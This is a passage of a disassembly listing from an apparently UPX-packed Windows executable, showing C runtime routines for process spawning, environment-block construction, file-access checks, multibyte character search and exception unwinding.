1Fh shl edx, 6 cmp [ecx+edx+4], bl jnz short loc_413D38 dec esi dec eax cmp esi, ebx jnz short loc_413D18 loc_413D38: ; CODE XREF: sub_413C84+ACj cmp esi, ebx jl loc_413E80 loc_413D40: ; CODE XREF: sub_413C84+8Fj cmp esi, 3332h jnb loc_413E80 mov eax, esi imul eax, 5 add eax, 4 mov [ebp+var_36], ax movzx eax, ax push 1 push eax call sub_40EF6F pop ecx pop ecx mov [ebp+var_34], eax cmp eax, ebx jz loc_413E80 cmp esi, ebx mov [eax], esi mov eax, [ebp+var_34] lea ecx, [eax+4] lea edi, [eax+esi+4] mov [ebp+var_8], ebx jle short loc_413DBC loc_413D83: ; CODE XREF: sub_413C84+133j mov eax, [ebp+var_8] mov edx, eax and eax, 1Fh sar edx, 5 shl eax, 6 add eax, dword_430160[edx*4] mov dl, [eax+4] test dl, 10h jnz short loc_413DA8 mov [ecx], dl mov eax, [eax] mov [edi], eax jmp short loc_413DAD ; --------------------------------------------------------------------------- loc_413DA8: ; CODE XREF: sub_413C84+11Aj mov [ecx], bl or dword ptr [edi], 0FFFFFFFFh loc_413DAD: ; CODE XREF: sub_413C84+122j inc [ebp+var_8] inc ecx add edi, 4 cmp [ebp+var_8], esi jl short loc_413D83 mov eax, [ebp+var_34] loc_413DBC: ; CODE XREF: sub_413C84+FDj cmp [ebp+var_1], bl jz short loc_413DED lea ecx, [eax+4] xor edx, edx lea eax, [eax+esi+4] loc_413DCA: ; CODE XREF: sub_413C84+160j cmp esi, 3 jge short loc_413DD3 mov edi, esi jmp short loc_413DD6 ; --------------------------------------------------------------------------- loc_413DD3: ; CODE XREF: sub_413C84+149j push 3 pop edi loc_413DD6: ; CODE XREF: sub_413C84+14Dj cmp edx, edi jge short loc_413DE6 mov [ecx], bl or dword ptr [eax], 0FFFFFFFFh inc edx inc ecx add eax, 4 jmp short loc_413DCA ; --------------------------------------------------------------------------- loc_413DE6: ; CODE XREF: sub_413C84+154j mov [ebp+var_C], 8 loc_413DED: ; CODE XREF: sub_413C84+13Bj call sub_40C875 mov [eax], ebx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push [ebp+arg_C] push [ebp+var_C] push 1 push ebx push ebx push [ebp+var_10] push [ebp+arg_4] call dword_41D124 ; CreateProcessA mov esi, eax call dword_41D1D8 ; RtlGetLastWin32Error push [ebp+var_34] mov edi, eax call sub_40ADC8 pop ecx cmp esi, ebx jnz short loc_413E33 push edi call sub_40C888 pop ecx jmp short loc_413E8B ; --------------------------------------------------------------------------- loc_413E33: ; CODE XREF: sub_413C84+1A4j cmp [ebp+arg_0], 2 jnz short loc_413E3F push ebx call sub_40DD56 loc_413E3F: ; CODE XREF: sub_413C84+1B3j mov esi, dword_41D0A8 cmp [ebp+arg_0], ebx jnz short loc_413E67 push 0FFFFFFFFh push [ebp+var_24] call dword_41D06C ; WaitForSingleObject lea eax, [ebp+var_14] push eax push [ebp+var_24] call dword_41D128 ; GetExitCodeProcess mov ebx, [ebp+var_14] jmp short loc_413E6D ; --------------------------------------------------------------------------- loc_413E67: ; CODE XREF: sub_413C84+1C4j cmp [ebp+arg_0], 4 jnz short loc_413E74 loc_413E6D: ; CODE XREF: sub_413C84+1E1j push [ebp+var_24] call esi ; dword_41D0A8 jmp short loc_413E77 ; --------------------------------------------------------------------------- loc_413E74: ; CODE XREF: sub_413C84+1E7j mov ebx, [ebp+var_24] loc_413E77: ; CODE XREF: sub_413C84+1EEj push [ebp+var_20] call esi ; dword_41D0A8 mov eax, ebx jmp short loc_413E8E ; --------------------------------------------------------------------------- loc_413E80: ; CODE XREF: sub_413C84+B6j ; sub_413C84+C2j ... call sub_40C862 mov dword ptr [eax], 0Ch loc_413E8B: ; CODE XREF: sub_413C84+1ADj or eax, 0FFFFFFFFh loc_413E8E: ; CODE XREF: sub_413C84+1FAj pop esi loc_413E8F: ; CODE XREF: sub_413C84+58j pop edi pop ebx leave retn sub_413C84 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E93 proc near ; CODE XREF: sub_40EC96+42p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 40h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, offset aSystemroot ; "SystemRoot" lea edi, [ebp+var_10] movsd movsd movsw mov [ebp+var_2C], ecx mov ecx, [ebp+arg_8] xor ebx, ebx mov [ebp+var_20], ecx mov ecx, [ebp+arg_C] movsb push 2 mov [ebp+var_38], eax mov edi, eax mov eax, [eax] mov [ebp+var_18], ecx mov [ebp+var_24], ebx mov [ebp+var_14], ebx mov [ebp+var_3C], ebx pop esi jmp short loc_413EF1 ; --------------------------------------------------------------------------- loc_413EE1: ; CODE XREF: sub_413E93+60j push eax call sub_40BFB0 add edi, 4 lea esi, [esi+eax+1] mov eax, [edi] pop ecx loc_413EF1: ; CODE XREF: sub_413E93+4Cj cmp eax, ebx jnz short loc_413EE1 push 1 push esi mov [ebp+var_34], esi call sub_40EF6F mov esi, [ebp+var_20] pop ecx pop ecx mov [esi], eax cmp eax, ebx jnz short loc_413F2E mov eax, [ebp+var_18] mov [eax], ebx call sub_40C862 mov dword ptr [eax], 0Ch call sub_40C875 mov dword ptr [eax], 8 or eax, 0FFFFFFFFh jmp loc_41425D ; --------------------------------------------------------------------------- loc_413F2E: ; CODE XREF: sub_413E93+76j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_14] push ebx push eax call sub_415ADE add esp, 0Ch cmp eax, ebx jz short loc_413F57 cmp eax, 16h jnz short loc_413FB9 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h jmp short loc_413FB9 ; --------------------------------------------------------------------------- loc_413F57: ; CODE XREF: sub_413E93+AEj lea eax, [ebp+var_10] push eax call sub_40BFB0 mov edi, eax inc edi inc edi pop ecx mov [ebp+var_30], edi cmp [ebp+var_14], ebx jz short loc_413F7B push [ebp+var_14] call sub_40BFB0 add edi, eax pop ecx mov [ebp+var_30], edi loc_413F7B: ; CODE XREF: sub_413E93+D8j mov eax, [ebp+var_2C] cmp eax, ebx jz short loc_413FD1 push 2 mov esi, eax mov eax, [eax] pop edi jmp short loc_413F9B ; --------------------------------------------------------------------------- loc_413F8B: ; CODE XREF: sub_413E93+10Aj push eax call sub_40BFB0 add esi, 4 lea edi, [edi+eax+1] mov eax, [esi] pop ecx loc_413F9B: ; CODE XREF: sub_413E93+F6j cmp eax, ebx jnz short loc_413F8B mov eax, dword_42E3F0 cmp eax, ebx jnz short loc_413FEB call sub_40F8FA mov dword_42E3F0, eax cmp eax, ebx jnz short loc_413FEB mov esi, [ebp+var_20] loc_413FB9: ; CODE XREF: sub_413E93+B3j ; sub_413E93+C2j push dword ptr [esi] or [ebp+var_24], 0FFFFFFFFh call sub_40ADC8 mov eax, [ebp+var_18] mov [esi], ebx pop ecx mov [eax], ebx jmp loc_414236 ; --------------------------------------------------------------------------- loc_413FD1: ; CODE XREF: sub_413E93+EDj mov eax, [ebp+var_18] mov [eax], ebx loc_413FD6: ; CODE XREF: sub_413E93+20Bj mov edi, [ebp+var_38] mov eax, [edi] mov esi, [esi] cmp eax, ebx jnz loc_4140D6 inc esi jmp loc_414140 ; --------------------------------------------------------------------------- loc_413FEB: ; CODE XREF: sub_413E93+113j ; sub_413E93+121j mov [ebp+var_1C], ebx cmp [eax], bl jz short loc_41401A mov cl, [eax] mov esi, eax loc_413FF6: ; CODE XREF: sub_413E93+185j cmp cl, 3Dh jz short loc_41401A push esi call sub_40BFB0 pop ecx mov ecx, [ebp+var_1C] lea ecx, [ecx+eax+1] mov eax, dword_42E3F0 lea esi, [eax+ecx] mov [ebp+var_1C], ecx mov cl, [esi] cmp cl, bl jnz short loc_413FF6 loc_41401A: ; CODE XREF: sub_413E93+15Dj ; sub_413E93+166j mov ecx, [ebp+var_1C] mov [ebp+var_28], ecx jmp short loc_41404D ; --------------------------------------------------------------------------- loc_414022: ; CODE XREF: sub_413E93+1BFj cmp [eax+1], bl jz short loc_414054 cmp byte ptr [eax+2], 3Ah jnz short loc_414054 cmp byte ptr [eax+3], 3Dh jnz short loc_414054 add eax, 4 push eax call sub_40BFB0 pop ecx mov ecx, [ebp+var_28] lea eax, [ecx+eax+5] mov ecx, dword_42E3F0 mov [ebp+var_28], eax loc_41404D: ; CODE XREF: sub_413E93+18Dj add eax, ecx cmp byte ptr [eax], 3Dh jz short loc_414022 loc_414054: ; CODE XREF: sub_413E93+192j ; sub_413E93+198j ... mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov esi, [ebp+var_2C] add edi, eax mov [ebp+var_40], edi jmp short loc_414083 ; --------------------------------------------------------------------------- loc_414064: ; CODE XREF: sub_413E93+1F2j lea eax, [ebp+var_10] push eax call sub_40BFB0 push eax lea eax, [ebp+var_10] push eax push dword ptr [esi] call sub_415A3D add esp, 10h test eax, eax jz short loc_4140CD add esi, 4 loc_414083: ; CODE XREF: sub_413E93+1CFj cmp [esi], ebx jnz short loc_414064 add edi, [ebp+var_30] loc_41408A: ; CODE XREF: sub_413E93+241j push 1 push edi call sub_40EF6F mov esi, [ebp+var_20] pop ecx pop ecx mov ecx, [ebp+var_18] mov [ecx], eax cmp eax, ebx jnz loc_413FD6 push dword ptr [esi] call sub_40ADC8 pop ecx mov [esi], ebx call sub_40C862 mov dword ptr [eax], 0Ch call sub_40C875 or [ebp+var_24], 0FFFFFFFFh mov dword ptr [eax], 8 jmp loc_414236 ; --------------------------------------------------------------------------- loc_4140CD: ; CODE XREF: sub_413E93+1EBj mov [ebp+var_3C], 1 jmp short loc_41408A ; --------------------------------------------------------------------------- loc_4140D6: ; CODE XREF: sub_413E93+14Cj push eax mov eax, esi sub eax, esi add eax, [ebp+var_34] push eax push esi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_4140F9 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_4140F9: ; CODE XREF: sub_413E93+257j push dword ptr [edi] call sub_40BFB0 lea esi, [esi+eax+1] add edi, 4 jmp short loc_41413F ; --------------------------------------------------------------------------- loc_414109: ; CODE XREF: sub_413E93+2B1j push eax mov eax, [ebp+var_20] mov eax, [eax] sub eax, esi add eax, [ebp+var_34] push eax push esi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_41412F push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_41412F: ; CODE XREF: sub_413E93+28Dj push dword ptr [edi] call sub_40BFB0 add esi, eax add edi, 4 mov byte ptr [esi], 20h inc esi loc_41413F: ; CODE XREF: sub_413E93+274j pop ecx loc_414140: ; CODE XREF: sub_413E93+153j mov eax, [edi] cmp eax, ebx jnz short loc_414109 mov eax, [ebp+var_18] mov [esi-1], bl mov [esi], bl mov esi, [eax] cmp [ebp+var_2C], ebx jz loc_414226 mov edi, [ebp+var_28] mov eax, [ebp+var_1C] mov ecx, edi sub ecx, eax push ecx mov ecx, dword_42E3F0 add ecx, eax push ecx push esi call sub_40E710 sub edi, [ebp+var_1C] add esp, 0Ch add esi, edi mov edi, [ebp+var_2C] jmp short loc_4141B6 ; --------------------------------------------------------------------------- loc_414180: ; CODE XREF: sub_413E93+325j mov eax, [ebp+var_40] mov ecx, [ebp+var_18] push dword ptr [edi] sub eax, esi add eax, [ecx] push eax push esi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_4141A7 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_4141A7: ; CODE XREF: sub_413E93+305j push dword ptr [edi] call sub_40BFB0 pop ecx lea esi, [esi+eax+1] add edi, 4 loc_4141B6: ; CODE XREF: sub_413E93+2EBj cmp [edi], ebx jnz short loc_414180 cmp [ebp+var_3C], ebx jnz short loc_414226 mov edi, [ebp+var_30] lea eax, [ebp+var_10] push eax push edi push esi call sub_40CD95 add esp, 0Ch test eax, eax jz short loc_4141E1 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_4141E1: ; CODE XREF: sub_413E93+33Fj push offset dword_41DD40 push edi push esi call sub_4139F9 add esp, 0Ch test eax, eax jz short loc_414201 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_414201: ; CODE XREF: sub_413E93+35Fj cmp [ebp+var_14], ebx jz short loc_414224 push [ebp+var_14] push edi push esi call sub_4139F9 add esp, 0Ch test eax, eax jz short loc_414224 push ebx push ebx push ebx push ebx push ebx call sub_40B12D add esp, 14h loc_414224: ; CODE XREF: sub_413E93+371j ; sub_413E93+382j add esi, edi loc_414226: ; CODE XREF: sub_413E93+2C0j ; sub_413E93+32Aj cmp esi, ebx jz short loc_414236 mov eax, [ebp+var_18] cmp esi, [eax] jnz short loc_414234 mov [esi], bl inc esi loc_414234: ; CODE XREF: sub_413E93+39Cj mov [esi], bl loc_414236: ; CODE XREF: sub_413E93+139j ; sub_413E93+235j ... mov eax, dword_42E3F0 cmp eax, ebx jz short loc_414246 push eax call sub_40ADC8 pop ecx loc_414246: ; CODE XREF: sub_413E93+3AAj mov dword_42E3F0, ebx cmp [ebp+var_14], ebx jz short loc_41425A push [ebp+var_14] call sub_40ADC8 pop ecx loc_41425A: ; CODE XREF: sub_413E93+3BCj mov eax, [ebp+var_24] loc_41425D: ; CODE XREF: sub_413E93+96j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_413E93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41426C proc near ; CODE XREF: sub_40ED0F+10Ap ; sub_40ED0F+1C1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push esi xor esi, esi cmp [ebp+arg_0], esi jnz short loc_41429D loc_414279: ; CODE XREF: sub_41426C+38j call sub_40C875 mov [eax], esi call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h push 16h pop eax jmp short loc_4142F2 ; --------------------------------------------------------------------------- loc_41429D: ; CODE XREF: sub_41426C+Bj test [ebp+arg_4], 0FFFFFFF9h jnz short loc_414279 push [ebp+arg_0] call dword_41D120 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4142CA call dword_41D1D8 ; RtlGetLastWin32Error push eax call sub_40C888 pop ecx loc_4142C1: ; CODE XREF: sub_41426C+82j call sub_40C862 mov eax, [eax] jmp short loc_4142F2 ; --------------------------------------------------------------------------- loc_4142CA: ; CODE XREF: sub_41426C+46j test al, 10h jnz short loc_4142F0 test al, 1 jz short loc_4142F0 test byte ptr [ebp+arg_4], 2 jz short loc_4142F0 call sub_40C875 mov dword ptr [eax], 5 call sub_40C862 mov dword ptr [eax], 0Dh jmp short loc_4142C1 ; --------------------------------------------------------------------------- loc_4142F0: ; CODE XREF: sub_41426C+60j ; sub_41426C+64j ... xor eax, eax loc_4142F2: ; CODE XREF: sub_41426C+2Fj ; sub_41426C+5Cj pop esi pop ebp retn sub_41426C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142F5 proc near ; CODE XREF: sub_4143B1+Dp var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_8] lea ecx, [ebp+var_10] call sub_40C799 mov eax, [ebp+arg_0] xor ebx, ebx cmp eax, ebx jnz short loc_41433A call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz short loc_414336 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_414336: ; CODE XREF: sub_4142F5+38j xor eax, eax jmp short loc_4143AE ; --------------------------------------------------------------------------- loc_41433A: ; CODE XREF: sub_4142F5+1Bj push esi mov esi, [ebp+var_C] cmp [esi+8], ebx jnz short loc_41437D push [ebp+arg_4] push eax call sub_415BE0 pop ecx pop ecx jmp short loc_414391 ; --------------------------------------------------------------------------- loc_414350: ; CODE XREF: sub_4142F5+92j movzx edx, cl test byte ptr [edx+esi+1Dh], 4 jz short loc_414374 inc eax mov dl, [eax] cmp dl, bl jz short loc_41439F movzx ecx, cx movzx edx, dl shl ecx, 8 or ecx, edx cmp [ebp+arg_4], ecx jnz short loc_41437C dec eax jmp short loc_414391 ; --------------------------------------------------------------------------- loc_414374: ; CODE XREF: sub_4142F5+63j movzx edx, cx cmp [ebp+arg_4], edx jz short loc_414389 loc_41437C: ; CODE XREF: sub_4142F5+7Aj inc eax loc_41437D: ; CODE XREF: sub_4142F5+4Cj movzx cx, byte ptr [eax] movzx ecx, cx cmp cx, bx jnz short loc_414350 loc_414389: ; CODE XREF: sub_4142F5+85j movzx ecx, cx cmp [ebp+arg_4], ecx jnz short loc_41439F loc_414391: ; CODE XREF: sub_4142F5+59j ; sub_4142F5+7Dj cmp [ebp+var_4], bl jz short loc_4143AD mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_4143AD ; --------------------------------------------------------------------------- loc_41439F: ; CODE XREF: sub_4142F5+6Aj ; sub_4142F5+9Aj cmp [ebp+var_4], bl jz short loc_4143AB mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4143AB: ; CODE XREF: sub_4142F5+ADj xor eax, eax loc_4143AD: ; CODE XREF: sub_4142F5+9Fj ; sub_4142F5+A8j pop esi loc_4143AE: ; CODE XREF: sub_4142F5+43j pop ebx leave retn sub_4142F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B1 proc near ; CODE XREF: sub_40ED0F+74p ; sub_416CC7+40p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4142F5 add esp, 0Ch pop ebp retn sub_4143B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143C8 proc near ; CODE XREF: sub_414484+Dp var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 14h push ebx push [ebp+arg_8] xor ebx, ebx lea ecx, [ebp+var_14] mov [ebp+var_4], ebx call sub_40C799 mov ecx, [ebp+arg_0] cmp ecx, ebx jnz short loc_414410 call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_8], bl jz short loc_41440C mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41440C: ; CODE XREF: sub_4143C8+3Bj xor eax, eax jmp short loc_414481 ; --------------------------------------------------------------------------- loc_414410: ; CODE XREF: sub_4143C8+1Ej push esi mov esi, [ebp+var_10] cmp [esi+8], ebx jnz short loc_414432 push [ebp+arg_4] push ecx call sub_415CA0 pop ecx pop ecx cmp [ebp+var_8], bl jz short loc_414480 mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_414480 ; --------------------------------------------------------------------------- loc_414432: ; CODE XREF: sub_4143C8+4Fj push edi loc_414433: ; CODE XREF: sub_4143C8+A6j mov dl, [ecx] movzx eax, dl movzx edi, al test byte ptr [edi+esi+1Dh], 4 jz short loc_414463 inc ecx mov dl, [ecx] cmp dl, bl jz short loc_41445E movzx edi, dl shl eax, 8 or eax, edi cmp [ebp+arg_4], eax jnz short loc_41446B lea eax, [ecx-1] mov [ebp+var_4], eax jmp short loc_41446B ; --------------------------------------------------------------------------- loc_41445E: ; CODE XREF: sub_4143C8+7Fj cmp [ebp+var_4], ebx jmp short loc_414466 ; --------------------------------------------------------------------------- loc_414463: ; CODE XREF: sub_4143C8+78j cmp [ebp+arg_4], eax loc_414466: ; CODE XREF: sub_4143C8+99j jnz short loc_41446B mov [ebp+var_4], ecx loc_41446B: ; CODE XREF: sub_4143C8+8Cj ; sub_4143C8+94j ... inc ecx cmp dl, bl jnz short loc_414433 pop edi cmp [ebp+var_8], bl jz short loc_41447D mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41447D: ; CODE XREF: sub_4143C8+ACj mov eax, [ebp+var_4] loc_414480: ; CODE XREF: sub_4143C8+5Fj ; sub_4143C8+68j pop esi loc_414481: ; CODE XREF: sub_4143C8+46j pop ebx leave retn sub_4143C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414484 proc near ; CODE XREF: sub_40ED0F+4Fp ; sub_40ED0F+59p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4143C8 add esp, 0Ch pop ebp retn sub_414484 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41449B proc near ; CODE XREF: sub_40F0F5+83p ; sub_4157F6+28p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp sub esp, 18h push ebx push [ebp+arg_8] lea ecx, [ebp+var_18] call sub_40C799 mov ebx, [ebp+arg_0] lea eax, [ebx+1] cmp eax, 100h ja short loc_4144CB mov eax, [ebp+var_18] mov eax, [eax+0C8h] movzx eax, word ptr [eax+ebx*2] jmp short loc_414540 ; --------------------------------------------------------------------------- loc_4144CB: ; CODE XREF: sub_41449B+1Fj mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_4127F4 pop ecx pop ecx test eax, eax jz short loc_4144FC mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_8], al mov [ebp+var_7], bl mov [ebp+var_6], 0 pop ecx jmp short loc_414506 ; --------------------------------------------------------------------------- loc_4144FC: ; CODE XREF: sub_41449B+4Dj xor ecx, ecx mov [ebp+var_8], bl mov [ebp+var_7], 0 inc ecx loc_414506: ; CODE XREF: sub_41449B+5Fj mov eax, [ebp+var_18] push 1 push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push 1 push eax call sub_4151A8 add esp, 20h test eax, eax jnz short loc_41453C cmp [ebp+var_C], al jz short loc_414538 mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_414538: ; CODE XREF: sub_41449B+94j xor eax, eax jmp short loc_414550 ; --------------------------------------------------------------------------- loc_41453C: ; CODE XREF: sub_41449B+8Fj movzx eax, [ebp+var_4] loc_414540: ; CODE XREF: sub_41449B+2Ej and eax, [ebp+arg_4] cmp [ebp+var_C], 0 jz short loc_414550 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_414550: ; CODE XREF: sub_41449B+9Fj ; sub_41449B+ACj pop ebx leave retn sub_41449B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414560 proc near ; CODE XREF: sub_401304+46p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_414579 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_414579: ; CODE XREF: sub_414560+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_414560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414594 proc near ; CODE XREF: sub_4145E7+Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40C799 movzx eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov dl, [ebp+arg_C] test [ecx+eax+1Dh], dl jnz short loc_4145D5 cmp [ebp+arg_8], 0 jz short loc_4145CF mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, [ebp+arg_8] jmp short loc_4145D1 ; --------------------------------------------------------------------------- loc_4145CF: ; CODE XREF: sub_414594+27j xor eax, eax loc_4145D1: ; CODE XREF: sub_414594+39j test eax, eax jz short loc_4145D8 loc_4145D5: ; CODE XREF: sub_414594+21j xor eax, eax inc eax loc_4145D8: ; CODE XREF: sub_414594+3Fj cmp [ebp+var_4], 0 jz short locret_4145E5 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_4145E5: ; CODE XREF: sub_414594+48j leave retn sub_414594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145E7 proc near ; CODE XREF: sub_40F568+41p ; sub_40F6A5+55p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 4 push 0 push [ebp+arg_0] push 0 call sub_414594 add esp, 10h pop ebp retn sub_4145E7 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_414618 push dword ptr [ebp+8] call sub_416F6E ; RtlUnwind loc_414618: ; DATA XREF: UPX0:0041460Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_414620: ; DATA XREF: sub_414665+Bo ; UPX0:004146F2o mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_414664 mov eax, [esp+14h] mov ecx, [eax-4] xor ecx, eax call sub_40AC1C push ebp mov ebp, [eax+10h] mov edx, [eax+28h] push edx mov edx, [eax+24h] push edx call sub_414665 add esp, 8 pop ebp mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_414664: ; CODE XREF: UPX0:00414630j retn ; =============== S U B R O U T I N E ======================================= sub_414665 proc near ; CODE XREF: UPX0:0041464Cp var_20 = dword ptr -20h var_18 = dword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push ebp push eax push 0FFFFFFFEh push offset loc_414620 push large dword ptr fs:0 mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+24h+var_20] mov large fs:0, eax loc_41468E: ; CODE XREF: sub_414665:loc_4146D5j mov eax, [esp+24h+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4146D7 cmp [esp+24h+arg_4], 0FFFFFFFFh jz short loc_4146AA cmp esi, [esp+24h+arg_4] jbe short loc_4146D7 loc_4146AA: ; CODE XREF: sub_414665+3Dj lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+24h+var_18], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4146D5 push 101h mov eax, [ebx+esi*4+8] call sub_414715 mov eax, [ebx+esi*4+8] call sub_414734 loc_4146D5: ; CODE XREF: sub_414665+57j jmp short loc_41468E ; --------------------------------------------------------------------------- loc_4146D7: ; CODE XREF: sub_414665+36j ; sub_414665+43j mov ecx, [esp+24h+var_20] mov large fs:0, ecx add esp, 18h pop edi pop esi pop ebx retn sub_414665 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset loc_414620 jnz short locret_41470B mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41470B mov eax, 1 locret_41470B: ; CODE XREF: UPX0:004146F9j ; UPX0:00414704j retn ; =============== S U B R O U T I N E ======================================= sub_41470C proc near ; CODE XREF: sub_410E70+1Ep ; sub_410E70+40p push ebx push ecx mov ebx, offset dword_42AD20 jmp short loc_414720 sub_41470C endp ; =============== S U B R O U T I N E ======================================= sub_414715 proc near ; CODE XREF: sub_40FF0C+6Ep ; sub_410015+8p ... arg_0 = dword ptr 4 push ebx push ecx mov ebx, offset dword_42AD20 mov ecx, [esp+8+arg_0] loc_414720: ; CODE XREF: sub_41470C+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp push ebp push ecx push eax pop eax pop ecx pop ebp pop ecx pop ebx retn 4 sub_414715 endp ; =============== S U B R O U T I N E ======================================= sub_414734 proc near ; CODE XREF: sub_40FF0C+7Bp ; sub_414665+6Bp call eax retn sub_414734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414737 proc near ; CODE XREF: sub_4106A9+59p ; sub_4106A9+6Ap ... arg_0 = dword ptr 8 mov edi, 